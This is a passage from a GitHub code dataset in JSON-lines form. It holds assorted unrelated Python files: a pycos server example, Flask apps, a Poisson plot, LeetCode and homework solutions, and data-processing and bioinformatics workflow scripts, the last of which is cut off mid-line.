successfuly....\")\n\n","repo_name":"mohankadali/personal_files","sub_path":"android_poting_scripts/scripts_android_upgrade/script_backup/nxp/build_update.py","file_name":"build_update.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16732975030","text":"#!/usr/bin/env python\n\n# server program for client sending requests to execute tasks\n\n# run this program and then client (rps_monitor_client.py) either on same node or different node\n# on local network. Server and client can also be run on two different networks but client must\n# call 'scheduler.peer' method appropriately.\n\nimport sys\nimport pycos\n# import netpycos to use distributed version of Pycos\nimport pycos.netpycos\n\n# PyPI / pip packaging adjusts assertion below for Python 3.7+\nif sys.version_info.major == 3:\n assert sys.version_info.minor < 7, \\\n ('\"%s\" is not suitable for Python version %s.%s; use file installed by pip instead' %\n (__file__, sys.version_info.major, sys.version_info.minor))\n\n\n# when client invokes RPS in this program, function below is used to start a task\ndef rps_server(a, b=1, task=None):\n pycos.logger.debug('running %s with %s, %s', task, a, b)\n # receive message from client\n msg = yield task.receive(timeout=2)\n # to illustrate how client's monitor can receive exit values or exceptions, exception is\n # raised if given b is not a positve number, otherwise task sleeps for b seconds and exits\n # with msg\n if isinstance(b, (int, float)) and b > 0 and isinstance(msg, str):\n yield task.sleep(b)\n # (remote) monitor (if any) gets back msg (to be interpreted as normal termination)\n raise StopIteration(msg)\n else:\n # (remote) monitor (if any) gets this exception\n raise Exception('invalid invocation: %s' % b)\n\n\nif __name__ == '__main__':\n pycos.logger.setLevel(pycos.Logger.DEBUG)\n # 'secret' is set so only peers that use same secret can communicate\n scheduler = pycos.Pycos(name='server', secret='test')\n # register rps_server so remote clients can request execution\n rps = pycos.RPS(rps_server)\n rps.register()\n\n if sys.version_info.major > 2:\n read_input = input\n else:\n read_input = raw_input\n while True:\n try:\n line = read_input().strip().lower()\n if line in ('quit', 'exit'):\n break\n except Exception:\n break\n","repo_name":"pgiri/pycos","sub_path":"examples/rps_monitor_server.py","file_name":"rps_monitor_server.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"82"} +{"seq_id":"15261975429","text":"# from flask import Flask, render_template, current_app\nfrom flask import Flask, render_template\nfrom flask_wtf.csrf import CSRFProtect\nfrom flask_bootstrap import Bootstrap\nfrom flask_assets import Environment\nfrom .assets import create_assets\nfrom .routes import auth_bp, api_bp, main_bp, auth_pages, movies_bp\nfrom flask_login import LoginManager\nfrom .login_manager import manage_login\n\n\n# auth_blueprint = Blueprint('auth', __name__, url_prefix='/auth')\nfrom .routes.admin_panel import admin_panel_pb\nfrom .routes.user_profile import user_profile_pb\n\n\ndef create_app(config_name):\n app = Flask(__name__)\n Bootstrap(app)\n app.secret_key = b'\\xdf\\xc0\\xe8\\xb0\\x14\\xb2\\xad\\x9f\\x1c\\xc19\\x87/4\\x19v\\x11\\xa8%I\\xad=\\x8f\\x86'\n # for testing\n # app.config['WTF_CSRF_ENABLED'] = False\n\n csrf = CSRFProtect()\n csrf.init_app(app)\n\n login_mng = LoginManager()\n login_mng.init_app(app)\n\n manage_login(login_mng)\n\n assets = Environment(app)\n create_assets(assets)\n\n app.register_blueprint(auth_bp)\n app.register_blueprint(api_bp)\n app.register_blueprint(main_bp)\n app.register_blueprint(auth_pages)\n app.register_blueprint(movies_bp)\n app.register_blueprint(admin_panel_pb)\n app.register_blueprint(user_profile_pb)\n\n register_error_pages(app)\n\n return app\n\n\ndef register_error_pages(app):\n\n @app.errorhandler(403)\n def page_not_found(e):\n return render_template('403.html'), 403\n","repo_name":"P4yBill/MovieFlix","sub_path":"flask-app/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7493868835","text":"import math\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef poisson_pmf(x, lambd):\n return (math.exp(-lambd) * (lambd**x)) / math.factorial(x)\n\n# Parameters\ncalls_per_hour_5 = 5 # Average rate of 5 calls per hour\ncalls_per_hour_10 = 10 # Average rate of 10 calls per hour\ncalls_per_hour_15 = 15 # Average rate of 15 calls per hour\n\nmax_calls = 10 # Maximum number of calls\n\n# Calculate probabilities\nx = np.arange(max_calls + 1)\npmf_5 = [poisson_pmf(i, calls_per_hour_5) for i in x]\npmf_10 = [poisson_pmf(i, calls_per_hour_10) for i in x]\npmf_15 = [poisson_pmf(i, calls_per_hour_15) for i in x]\n\n\n# Calculate and print probabilities\nprint(\"Number of Calls (x) | Probability (P(x; λ=5)) | Probability (P(x; λ=10)) | Probability (P(x; λ=15))\")\nprint(\"---------------------------------------------------------------------------------------------------------------\")\nfor i in range(len(x)):\n print(f\"{x[i]:<21} | {pmf_5[i]:<30.4e}| {pmf_10[i]:<30.4e}| {pmf_15[i]:<.4e}\")\nprint(\"---------------------------------------------------------------------------------------------------------------\")\n\n# Plotting the PMF graph\nplt.bar(x, pmf_5, label='λ = 5')\nplt.bar(x, pmf_10, label='λ = 10', alpha=0.5)\nplt.bar(x, pmf_15, label='λ = 15', alpha=0.2)\nplt.xlabel('Number of Calls')\nplt.ylabel('Probability')\nplt.title('Probability Mass Function (PMF)')\nplt.xticks(x)\nplt.legend()\nplt.show()\n","repo_name":"Rakibul73/Simulation_Modeling_Code","sub_path":"masud_sir_part/same_python_file/poisson_distribution.py","file_name":"poisson_distribution.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"} +{"seq_id":"27270167628","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def sortList(self, head: ListNode) -> List:\n if head is None:\n return head\n t = []\n b = head\n while b:\n t.append(b.val)\n b = b.next\n \n t.sort()\n tail = head\n for i in t:\n tail.next = ListNode(i)\n tail = tail.next\n return head.next \n","repo_name":"javokhirbek1999/leetcode","sub_path":"Python/Data Structures/Linked List/Sort-List.py","file_name":"Sort-List.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17388608730","text":"import sys\nfrom unittest.util import _MAX_LENGTH\n\n\ndef parkereso(fiuk, lanyok):\n if(len(fiuk) != len(lanyok)):\n return False\n result = {}\n for i in fiuk:\n for j in lanyok:\n if i[0] == j[0]:\n result[i] = j\n fiuk.remove(i)\n lanyok.remove(j)\n break\n for i in fiuk:\n for j in lanyok:\n if i[len(i)-1] == j[len(j)-1] == 'i':\n result[i] = j\n fiuk.remove(i)\n lanyok.remove(j)\n break\n minimumdiff = 100000\n for i in fiuk:\n lany = \"\"\n minimumdiff = 100000\n for j in lanyok:\n diff = abs(len(i) - len(j))\n if diff < minimumdiff:\n minimumdiff = diff\n lany = j\n result[i] = lany\n lanyok.remove(lany)\n return result","repo_name":"berypurda/ScriptDict","sub_path":"src/feladat.py","file_name":"feladat.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8862874310","text":"from argparse import ArgumentParser, RawDescriptionHelpFormatter\nfrom sys import argv\nfrom pathlib import Path\nfrom typing import List\n\nfrom camel_tools.ner import NERecognizer\nfrom p_tqdm import p_uimap\n\nfrom eis1600.helper.repo import TRAINING_DATA_REPO\nfrom eis1600.processing.preprocessing import get_yml_and_miu_df\nfrom eis1600.processing.postprocessing import reconstruct_miu_text_with_tags\n\n\ndef ner_to_md(toponym_labels: List[str]) -> List[List[str]]:\n md_tags = []\n prev = None\n for label in toponym_labels:\n if label == 'B-TOPD' or prev == 'O' and label == 'I-TOPD':\n if prev == 'B-TOPD':\n md_tags.append(['ETOPD BTOPD'])\n else:\n md_tags.append(['BTOPD'])\n elif (prev == 'I-TOPD' or prev == 'B-TOPD') and label == 'O':\n md_tags.append(['ETOPD'])\n else:\n md_tags.append(None)\n \n prev = label\n \n return md_tags \n\n\ndef annotate_miu(file: str) -> str:\n outpath = file.replace('gold_standard', 'topo_descriptions')\n \n with open(file, 'r', encoding='utf-8') as miu_file_object:\n yml_handler, df = get_yml_and_miu_df(miu_file_object)\n\n toponym_labels = NERecognizer('EIS1600_Pretrained_Models/camelbert-ca-toponyms-description/').predict_sentence(df['TOKENS'].fillna('-').to_list())\n if 'B-TOPD' in toponym_labels:\n df['TAGS_LISTS'] = ner_to_md(toponym_labels)\n print(list(zip(toponym_labels, df['TAGS_LISTS'])))\n \n yml_handler.unset_reviewed()\n updated_text = reconstruct_miu_text_with_tags(df[['SECTIONS', 'TOKENS', 'TAGS_LISTS']]) \n \n with open(outpath, 'w', encoding='utf-8') as ofh:\n ofh.write(str(yml_handler) + updated_text)\n\n return outpath\n\n\ndef main():\n arg_parser = ArgumentParser(\n prog=argv[0], formatter_class=RawDescriptionHelpFormatter,\n description='''Script to annotate onomastic information in gold-standard MIUs.'''\n )\n arg_parser.add_argument('-D', '--debug', action='store_true')\n\n args = arg_parser.parse_args()\n debug = args.debug\n\n with open(TRAINING_DATA_REPO + 'gold_standard.txt', 'r', encoding='utf-8') as fh:\n files_txt = fh.read().splitlines()\n\n infiles = [TRAINING_DATA_REPO + 'gold_standard/' + file for file in files_txt if Path(\n TRAINING_DATA_REPO + 'gold_standard/' + file\n ).exists()]\n\n res = []\n if debug:\n for i, file in enumerate(infiles):\n print(i, file)\n res.append(annotate_miu(file))\n else:\n res += p_uimap(annotate_miu, infiles)\n\n print('Done')\n","repo_name":"EIS1600/eis1600-pkg","sub_path":"eis1600/helper/annotate_topd.py","file_name":"annotate_topd.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10868696933","text":"import func\nimport requests\nimport os\nfrom datetime import datetime, timedelta\nfrom model import *\n\n\ndef get_employee_activity(start_date: str, end_date: str, id_employee: str) -> list[EmployeeActivity]:\n employee_activities = []\n\n for date in func.get_range_date(start_date, end_date):\n request = requests.get(F\"{os.environ.get('API')}/activity\", params={\n 'apikey': os.environ.get(\"APIKEY\"),\n 'begin': date.strftime('%Y%m%d'),\n 'end': func.get_next_day(date).strftime('%Y%m%d'),\n 'employees': id_employee\n })\n\n json = request.json()\n\n if 'status' in json:\n employee_activities.append(EmployeeActivity(\n day_week=func.get_name_week_day(date),\n date=date.strftime('%d.%m.%Y'),\n total_time=func.convert_from_sec(\n json['items'][0]['totalTime']),\n active_time=func.convert_from_sec(\n json['items'][0]['activeTime']),\n procent=F\"{func.get_percent(json['items'][0]['activeTime'], json['items'][0]['totalTime'])} %\"\n ))\n\n return employee_activities\n\n\ndef get_employees() -> list[Employee] | None:\n request = requests.get(F\"{os.environ.get('API')}/employees\", params={\n 'apikey': os.environ.get(\"APIKEY\"),\n 'active': 'true'\n })\n\n json = request.json()\n if 'status' in json:\n return [Employee(id=item['id'], fio=F\"{item['lastName']} {item['firstName']}\") for item in json['items']]\n\n\ndef get_employee_activity_to_xlsx(date_start: str, date_end: str, ids_employee: str) -> list[EmployeeActivityXLSX]:\n employees = get_employees()\n employeeActivityXLSX = []\n \n for id in ids_employee.split(','):\n employeeActivityXLSX.append(EmployeeActivityXLSX(\n date_start=date_start,\n date_end=date_end,\n fio=func.filter_employee_by_id(id, employees),\n activity=get_employee_activity(date_start, date_end, id)\n ))\n \n return employeeActivityXLSX\n\n\ndef get_productivity_smartboard(date: str, smartboards: list[Employee]) -> list:\n smardboard_ids = ','.join([str(smartboard.id)\n for smartboard in smartboards])\n\n request = requests.get(F\"{os.environ.get('API')}productivity\", params={\n 'apikey': os.environ.get('APIKEY'),\n 'begin': date,\n 'end': func.get_next_day(datetime.strptime(date, '%Y%m%d')).strftime('%Y%m%d'),\n 'employees': smardboard_ids\n })\n\n json = request.json()\n\n if json['status'] == 'success':\n data = []\n for item in json['items']:\n smartboard_active = get_employee_activity(date, date, item['id'])[0]\n active_time = func.get_seconds_from_str_time(\n smartboard_active.active_time)\n total_time = func.get_seconds_from_str_time(\n smartboard_active.total_time)\n\n data.append({\n 'corpus': func.parse_name_smartboard(item['name'], 1),\n 'cabinet': func.parse_name_smartboard(item['name'], 2),\n 'name': 'Smart Board',\n 'date': datetime.strptime(date, '%Y%m%d').strftime('%d.%m.%Y'),\n 'totalTime': func.parse_time_smartboard(total_time),\n 'productiveTime': func.parse_time_smartboard(item['productiveTime']),\n 'unproductiveTime': func.parse_time_smartboard(item['unproductiveTime']),\n 'neutralTime': func.parse_time_smartboard(item['totalTime'] - item['productiveTime']),\n 'percent_productive': F\"{func.get_percent(item['productiveTime'], active_time)} %\",\n 'time_workday': F\"{func.get_percent(total_time, timedelta(minutes=480).total_seconds())} %\"\n })\n\n return data\n else:\n return json\n","repo_name":"alexnsidorov/bitcop_custom_report","sub_path":"getter_data.py","file_name":"getter_data.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21047293782","text":"# This is a Python Program to read a number n and print an identity matrix of the desired size.\n\nn=int(input('Enter a number: '))\nfor i in range(0,n):\n for j in range(0,n):\n if(i==j):\n print('1', sep=' ', end=' ')\n else:\n print('0', sep=' ', end=' ')\n print()","repo_name":"Maaitrayo/Python-Programming-Basics","sub_path":"program18.py","file_name":"program18.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"34540653974","text":"import torch\nimport nibabel as nib\nimport torch.nn.functional as F\n\nfrom src.runner.predictors import BasePredictor\n\n\nclass VipcupSegPredictor(BasePredictor):\n \"\"\"The VIPCUP predictor for the segmentation task.\n Args:\n saved_pred (bool): Whether to save the prediction (default: False).\n \"\"\"\n\n def __init__(self, saved_pred=False, **kwargs):\n super().__init__(**kwargs)\n if self.test_dataloader.batch_size != 1:\n raise ValueError(f'The testing batch size should be 1. Got {self.test_dataloader.batch_size}.')\n\n self.saved_pred = saved_pred\n self.output_dir = self.saved_dir / 'prediction'\n if not self.output_dir.is_dir():\n self.output_dir.mkdir(parents=True)\n\n def _test_step(self, batch):\n if self.test_dataloader.dataset.csv_name == 'testing.csv':\n input, target = batch['input'].to(self.device), batch['target']\n output = F.interpolate(self.net(input),\n size=target.size()[2:],\n mode='trilinear',\n align_corners=False)\n cross_entropy_loss = torch.tensor(float('nan'))\n dice_loss = torch.tensor(float('nan'))\n loss = torch.tensor(float('nan'))\n dice = torch.tensor(tuple(float('nan') for _ in range(3)))\n else:\n input, target = batch['input'].to(self.device), batch['target'].to(self.device)\n output = F.interpolate(self.net(input),\n size=target.size()[2:],\n mode='trilinear',\n align_corners=False)\n cross_entropy_loss = self.loss_fns.cross_entropy_loss(output, target.squeeze(dim=1))\n dice_loss = self.loss_fns.dice_loss(output, target)\n loss = (self.loss_weights.cross_entropy_loss * cross_entropy_loss\n + self.loss_weights.dice_loss * dice_loss)\n dice = self.metric_fns.dice(F.softmax(output, dim=1), target)\n\n if self.saved_pred:\n (affine,), (header,), (name,) = batch['affine'], batch['header'], batch['name']\n _, pred = F.softmax(output, dim=1).max(dim=1)\n pred = pred.squeeze(dim=0).permute(1, 2, 0).contiguous()\n nib.save(\n nib.Nifti1Image(\n pred.cpu().numpy(),\n affine.numpy(),\n header\n ),\n (self.output_dir / name).as_posix()\n )\n return {\n 'loss': loss,\n 'losses': {\n 'CrossEntropyLoss': cross_entropy_loss,\n 'DiceLoss': dice_loss\n },\n 'metrics': {\n 'Dice': dice[1:].mean(),\n }\n }\n","repo_name":"cmlab-mira/MedicalPro","sub_path":"src/runner/predictors/vipcup_seg_predictor.py","file_name":"vipcup_seg_predictor.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"3503934315","text":"#################################################\r\n# hw12.py\r\n#\r\n# Your name:\r\n# Your andrew id:\r\n#################################################\r\n\r\nfrom pyexpat.errors import XML_ERROR_RECURSIVE_ENTITY_REF\r\nimport cs112_n22_hw12_linter\r\nimport math, copy\r\n\r\n#################################################\r\n# Helper functions\r\n#################################################\r\n\r\ndef almostEqual(d1, d2, epsilon=10**-7):\r\n # note: use math.isclose() outside 15-112 with Python version 3.5 or later\r\n return (abs(d2 - d1) < epsilon)\r\n\r\nimport decimal\r\ndef roundHalfUp(d):\r\n # Round to nearest with ties going away from zero.\r\n rounding = decimal.ROUND_HALF_UP\r\n # See other rounding options here:\r\n # https://docs.python.org/3/library/decimal.html#rounding-modes\r\n return int(decimal.Decimal(d).to_integral_value(rounding=rounding))\r\n\r\n#################################################\r\n# Functions for you to write\r\n#################################################\r\n\r\ndef evalPrefixNotation(L):\r\n if len(L) == 1:\r\n return L[0]\r\n for element in L:\r\n if not isinstance(element, int):\r\n if element not in [\"+\", \"-\", \"*\"]:\r\n raise Exception('Unknown operator: ' + operator)\r\n L1 = []\r\n operator = L.pop(0)\r\n intCount = 0\r\n opCount = 1\r\n while intCount != opCount:\r\n value = L.pop(0)\r\n if isinstance(value, int):\r\n intCount += 1\r\n else:\r\n opCount += 1\r\n L1.append(value)\r\n if operator == \"+\":\r\n return evalPrefixNotation(L1) + evalPrefixNotation(L)\r\n elif operator == \"-\":\r\n return evalPrefixNotation(L1) - evalPrefixNotation(L)\r\n elif operator == \"*\":\r\n return evalPrefixNotation(L1) * evalPrefixNotation(L)\r\n\r\n\r\n'''def possibleMoves(rows, cols, crow, ccol):\r\n xmove = (2, -2, 1, -1)\r\n ymove = ((1, -1), (1, -1), (2, -2), (2, -2))\r\n possibleCoords = []\r\n for x in range(len(xmove)):\r\n for y in range(len(ymove[x])):\r\n if ((crow + xmove[x] < rows) and (ccol + ymove[x][y] < cols)):\r\n possibleCoords.append((xmove[x], ymove[y]))\r\n return possibleCoords'''\r\n\r\ndef printBoard(board):\r\n for row in board:\r\n print(row)\r\n\r\ndef knightsTourHelper(rows, cols, crow, ccol, visited, count):\r\n possMoves = [(2, 1), (2, -1), (-2, 1), (-2, -1), \r\n (1, 2), (1, -2), (-1, 2), (-1, -2)]\r\n for row in visited:\r\n for element in row:\r\n if element == (rows*cols):\r\n return visited\r\n for move in possMoves:\r\n drow = move[0]\r\n dcol = move[1];\r\n tempRow = crow + drow\r\n tempCol = ccol + dcol\r\n if ((0 <= tempRow < rows) and (0 <= tempCol < cols)):\r\n if (visited[tempRow][tempCol] == 0):\r\n #print(\"hi\")\r\n count += 1\r\n visited[tempRow][tempCol] = count\r\n if knightsTourHelper(rows, cols, tempRow, tempCol, \r\n visited, count):\r\n #print(\"1\")\r\n return visited\r\n count -= 1 \r\n visited[tempRow][tempCol] = 0\r\n return None\r\n\r\ndef knightsTour(rows, cols):\r\n board = [[0] * cols for _ in range(rows)]\r\n board[0][0] = 1\r\n result = knightsTourHelper(rows, cols, 0, 0, board, 1)\r\n return result\r\n\r\n#################################################\r\n# Test Functions\r\n#################################################\r\n\r\ndef testEvalPrefixNotation():\r\n print('Testing evalPrefixNotation()...', end='')\r\n assert(evalPrefixNotation([42]) == 42) # (42)\r\n assert(evalPrefixNotation(['+', 3, 4]) == 7) # (3 + 4)\r\n assert(evalPrefixNotation(['-', 3, 4]) == -1) # (3 - 4)\r\n assert(evalPrefixNotation(['-', 4, 3]) == 1) # (4 - 3)\r\n assert(evalPrefixNotation(['+', 3, '*', 4, 5]) == 23) # (3 + (4 * 5))\r\n\r\n # ((2 * 3) + (4 * 5))\r\n assert(evalPrefixNotation(['+', '*', 2, 3, '*', 4, 5]) == 26)\r\n # ((2 + 3) * (4 + 5))\r\n assert(evalPrefixNotation(['*', '+', 2, 3, '+', 4, 5]) == 45)\r\n # ((2 + (3 * (8 - 7))) * ((2 * 2) + 5))\r\n assert(evalPrefixNotation(['*', '+', 2, '*', 3, '-', 8, 7,\r\n '+', '*', 2, 2, 5]) == 45)\r\n \r\n #Make sure to raise an error for operators that are not +, -, or *\r\n raisedAnError = False\r\n try:\r\n evalPrefixNotation(['^', 2, 3])\r\n except:\r\n raisedAnError = True\r\n assert(raisedAnError == True)\r\n print('Passed.')\r\n\r\n\r\ndef testKnightsTour():\r\n print('Testing knightsTour()....', end='')\r\n def checkDims(rows, cols, ok=True):\r\n T = knightsTour(rows, cols)\r\n s = f'knightsTour({rows},{cols})'\r\n if (not ok):\r\n if (T is not None):\r\n raise Exception(f'{s} should return None')\r\n return True\r\n if (T is None):\r\n raise Exception(f'{s} must return a {rows}x{cols}' +\r\n ' 2d list (not None)')\r\n if ((rows != len(T)) or (cols != (len(T[0])))):\r\n raise Exception(f'{s} must return a {rows}x{cols} 2d list')\r\n d = dict()\r\n for r in range(rows):\r\n for c in range(cols):\r\n d[ T[r][c] ] = (r,c)\r\n if (sorted(d.keys()) != list(range(1, rows*cols+1))):\r\n raise Exception(f'{s} should contain numbers' +\r\n ' from 1 to {rows*cols}')\r\n prevRow, prevCol = d[1]\r\n for step in range(2, rows*cols+1):\r\n row,col = d[step]\r\n distance = abs(prevRow - row) + abs(prevCol - col)\r\n if (distance != 3):\r\n raise Exception(f'{s}: from {step-1} to {step}' +\r\n ' is not a legal move')\r\n prevRow, prevCol = row,col\r\n return True\r\n assert(checkDims(4, 3))\r\n assert(checkDims(4, 4, ok=False))\r\n assert(checkDims(4, 5))\r\n assert(checkDims(3, 4))\r\n assert(checkDims(3, 6, ok=False))\r\n assert(checkDims(3, 7))\r\n assert(checkDims(5, 5))\r\n print('Passed!')\r\n\r\n#################################################\r\n# testAll and main\r\n#################################################\r\n\r\ndef testAll():\r\n testEvalPrefixNotation()\r\n testKnightsTour()\r\ndef main():\r\n cs112_n22_hw12_linter.lint()\r\n testAll()\r\n\r\nif (__name__ == '__main__'):\r\n main()\r\n","repo_name":"davidchung29/CMU-Summer-2022","sub_path":"cis 15-112/hw/hw12/hw12.py","file_name":"hw12.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7030053481","text":"import sys\nimport time\n\n\nresults = {}\ndef collatz(n):\n n_start = n\n if results.get(n_start, 0) > 0:\n return results[n_start]\n \n answer = 1\n if n == 1:\n answer = 1\n elif n % 2 == 1:\n answer = collatz(3*n + 1) + 1\n else:\n answer = collatz(n/2) + 1\n results[n_start] = answer\n return answer\n\nstart = time.time()\nfor line in sys.stdin:\n pair = [int(x) for x in line.split()]\n left = min(pair[0], pair[1])\n right = max(pair[0], pair[1])\n max_cycle = 1\n for n in range(left, right+1):\n max_cycle = max(max_cycle, collatz(n))\n print(pair[0], pair[1], max_cycle)\nend = time.time()\nelapsed_seconds = float(\"%.2f\" % (end - start))\nprint('elapsed=', elapsed_seconds)\n","repo_name":"qswitcher/algorithms_design_manual","sub_path":"3np1.py","file_name":"3np1.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25534431754","text":"from rock_paper_scissors import play1, play2\n\ndef printMenu():\n print('Welcome to Rock Paper Scissors Game:')\n print('Game one: You vs Computer: you pick one of three possibilities and check your luck vs computer')\n print('Game two: You set how many games will be played in Computer vs Computer game and then you watch.')\n \n \ndef getChoice():\n while True:\n print ('\\nInput 1: You vs Computer')\n print ('Input 2: Computer vs Computer')\n choice = input(\"\\nPlease make a choice (1/2): \")\n \n if choice in ('1', '2'):\n return choice\n else:\n print('\\nInvalid value: please enter 1 or 2')\n \ndef main():\n printMenu()\n \n while True:\n choice = getChoice()\n \n if choice == '1':\n result = play1()\n print('\\n' + result)\n elif choice == '2':\n result = play2()\n \n \n escape = input('\\nContinue? Press Y to continue or N to exit: ').lower()\n while escape not in ('y','n'):\n print (\"Please enter correct value: \")\n escape = input('Continue? Press Y to continue or N to exit: ').lower()\n if escape != 'y':\n print(\"\\nThank you for playing!\")\n break\n \nif __name__ == \"__main__\":\n main()","repo_name":"DarekW90/Python_traning_programs","sub_path":"1_Easy_projects/2_Rock_Paper_Scissors/Updated_Version/main_rock_paper_scissors.py","file_name":"main_rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40605963675","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@time : 2018/10/25 15:33\n@file : diff_gene_anno.py\n@author : zhipeng.zhao\n@contact: 757049042@qq.com\n\"\"\"\nimport glob\nimport os\nimport json\nimport time\nimport unittest\n\nimport pandas as pd\n\nfrom biocluster.workflow import Workflow\nfrom biocluster.file import getsize, exists\nfrom biocluster.file import download\n\n# from src.biocluster.workflow import Workflow\nfrom bson import ObjectId\n\n\nclass DiffGeneAnnoWorkflow(Workflow):\n\n def __init__(self, wsheet_object):\n # 初始化网端参数\n self._sheet = wsheet_object\n super(DiffGeneAnnoWorkflow, self).__init__(wsheet_object)\n\n options = [\n # 基因列表文件和注释文件\n dict(name=\"gene_list\", type=\"infile\", format=\"prok_rna.diff_gene_list\"),\n dict(name=\"anno_matrix\", type=\"infile\", format=\"prok_rna.diff_anno_matrix\"),\n dict(name='task_id', type='string', default='tsg_32038'),\n dict(name='diff_main_id', type='string'),\n dict(name='update_info', type='string'),\n ]\n # 获取参数\n self.add_option(options)\n self.set_options(self._sheet.options())\n\n # 输出设置\n self.filepath = os.path.join(self.output_dir, 'diff_gene_annotation.xls')\n # self.option('outdir', outdir)\n # self.option('outfile_name', os.path.basename(self.filepath))\n\n self.module = self.add_module(\"prok_rna.diff_gene_anno\")\n self.db_tool = self.api.api(\"prok_rna.all_exp\")\n\n def run(self):\n self.module.on(\"end\", self.set_db)\n self.run_module()\n super(DiffGeneAnnoWorkflow, self).run()\n\n def set_db(self):\n \"\"\"\n 保存结果表到mongo数据库中\n def diff_gene_anno_to_db(\n self, outpath, task_id=None, main_id=None, query_dict: dict = None,\n project_sn='prok_rna', main_table_name='diff_geen_anno'):\n \"\"\"\n # add result info\n self.db_tool.diff_gene_anno_to_db(\n self.filepath, task_id=self.option('task_id'), main_id=self.option('diff_main_id'),\n main_table_name='diff_gene_anno_extr'\n )\n self.end()\n\n def end(self):\n # result_dir = self.add_upload_dir(self.tool.output_dir)\n # result_dir.add_relpath_rules([\n # [\".\", \"\", \"差异分析结果目录\"],\n # ])\n super(DiffGeneAnnoWorkflow, self).end()\n\n def run_module(self):\n options = {\n 'gene_list': self.option('gene_list'),\n 'anno_matrix': self.option('anno_matrix'),\n 'outdir': self.output_dir,\n 'outfile_name': os.path.basename(self.filepath),\n 'pool': 1\n }\n self.module.set_options(options)\n self.module.run()\n\n\nif __name__ == '__main__':\n from biocluster.wsheet import Sheet\n import random\n\n main_id = str(ObjectId(\"5bd907a8a4e1af0a8255a566\"))\n\n data = {\n \"id\": \"diff_gene_extract_\" + str(random.randint(1, 10000)),\n \"type\": \"workflow\",\n \"name\": \"prok_rna.diff_gene_anno\",\n \"instant\": False,\n \"options\": {\n 'gene_list': r'/mnt/ilustre/users/sanger-dev/sg-users/zhaozhipeng/gene.list',\n 'anno_matrix': r'/mnt/ilustre/users/sanger-dev/sg-users/zhaozhipeng/all_anno_detail.xls',\n 'task_id': 'tsg_32038',\n 'diff_main_id': str(main_id),\n 'update_info': json.dumps({'main_id': str(main_id)})\n }\n }\n\n wsheet = Sheet(data=data)\n wf = DiffGeneAnnoWorkflow(wsheet)\n wf.run()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/workflows/prok_rna/report/diff_gene_anno.py","file_name":"diff_gene_anno.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"38394963903","text":"import functools\nimport json\nimport logging\nimport os\nfrom urllib.parse import quote\n\nimport requests\nfrom flask import Flask, request\nfrom flask import send_from_directory, render_template\nfrom twilio.rest import Client\nfrom twilio.twiml.messaging_response import MessagingResponse\nfrom twilio.twiml.voice_response import Gather, VoiceResponse\n\nTWILIO_ACCOUNT = os.getenv('TWILIO_ACCOUNT')\nTWILIO_AUTH = os.getenv('TWILIO_AUTH')\n\n\n@functools.lru_cache(maxsize=1)\ndef get_twilio_client():\n return Client(TWILIO_ACCOUNT, TWILIO_AUTH)\n\n\nTWILIO_FROM_PHONE = os.getenv('TWILIO_FROM_PHONE', '+441803500679')\n\nSMS_HISTORY = {}\nMSG_STORE = {}\n\nLOGREADER_ADDRESS = os.environ.get(\"LOG_PARSER_ADDRESS\", \"localhost\")\nLOGREADER_PORT = os.environ.get(\"LOG_PARSER_PORT\", 8888)\n\napp = Flask(__name__)\n\n\ndef style_from_state(state):\n if state == \"to_manually_dispatch\":\n return \"danger\"\n elif state == \"to_acknowledge\":\n return \"warning\"\n elif state == \"in_progress\":\n return \"info\"\n else:\n return \"success\"\n\n\ndef style_to_text(state):\n if state == \"to_manually_dispatch\":\n return \"to be dispatched\"\n elif state == \"to_acknowledge\":\n return \"to be acknowledged\"\n elif state == \"in_progress\":\n return \"in progress\"\n else:\n return state.replace(\"_\", \" \")\n\n\n@app.route('/static/')\ndef serve_static(path):\n return send_from_directory('static', path)\n\n\n@app.route(\"/set_manual/\", methods=['POST'])\ndef manually_checkbock_toggled(enabled):\n url = \"http://{}:{}/manual_mode\".format(LOGREADER_ADDRESS, LOGREADER_PORT)\n print(\"Sending request to\", url, \" with manual_mode:\", enabled)\n response = requests.post(url, {\"manual_mode\": enabled})\n return \"Success\"\n\n\n@app.route(\"/\")\n@app.route('/alerts/')\ndef alerts():\n url = \"http://{}:{}/get_all\".format(LOGREADER_ADDRESS, 